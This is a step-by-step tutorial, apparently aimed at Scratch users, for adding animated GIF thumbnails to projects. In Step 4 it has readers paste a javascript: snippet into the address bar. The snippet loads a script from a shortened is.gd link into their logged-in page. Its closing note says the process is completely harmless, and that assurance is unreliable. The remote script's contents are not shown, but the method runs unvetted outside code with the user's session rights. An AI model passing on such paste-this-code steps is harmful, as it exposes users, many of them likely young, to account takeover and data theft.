(Space) +-------------------------+ Step 1: Go to google and download a gif that you like! Make sure that it has '.gif ' at the end, not ' . jpg ' or ' .png ' . +-------------------------+ Step 2: Make sure JavaScript is installed - It is installed on most computers by default, So you won't have to worry about this. :) +-------------------------+ Step 3: Go to the unshared project you would like to add a GIF Thumbnail too. +-------------------------+ Step 4: Before you go any further, Copy this link - It activates the Animated Thumbnail Block in your project : y=document;x=y.createElement("script");x.src="//is.gd/thumbn"; y.getElementsByTagName("head")[0].appendChild(x); // +-------------------------+ Step 5: Replace the link at the link bar on your screen, 'scratch.mit.edu/xxxxx ' and replace it with ' javascript: ' (Make sure to add the colon!) +-------------------------+ Step 6: copy and paste the link infront of the ' javascript: ' It should look like this: javascript:(Link here) +-------------------------+ Step 7: Press Enter. A little blue word should appear under the project's title, saying 'Animated Thumbnail Script Ready' +-------------------------+ Step 8: Open File Explorer, Drag and drop the wanted gif onto the 'Instructions' Part of the project. +-------------------------+ Step 9: It should say 'Uploading' and then seconds later, 'Success'. sometimes if a GIF is too big, It will never load. I recommend smaller GIFs. +-------------------------+ Step 10: Once is says 'Success' share the project, reboot the page, and go to your profile. The GIF should be playing on your project! If it fails to work, try in-sharing the project and re-sharing it! +-------------------------+ Thanks for reading this and have fun! Note: This is completely harmless to the project, So please do not worry about anything going wrong! :)
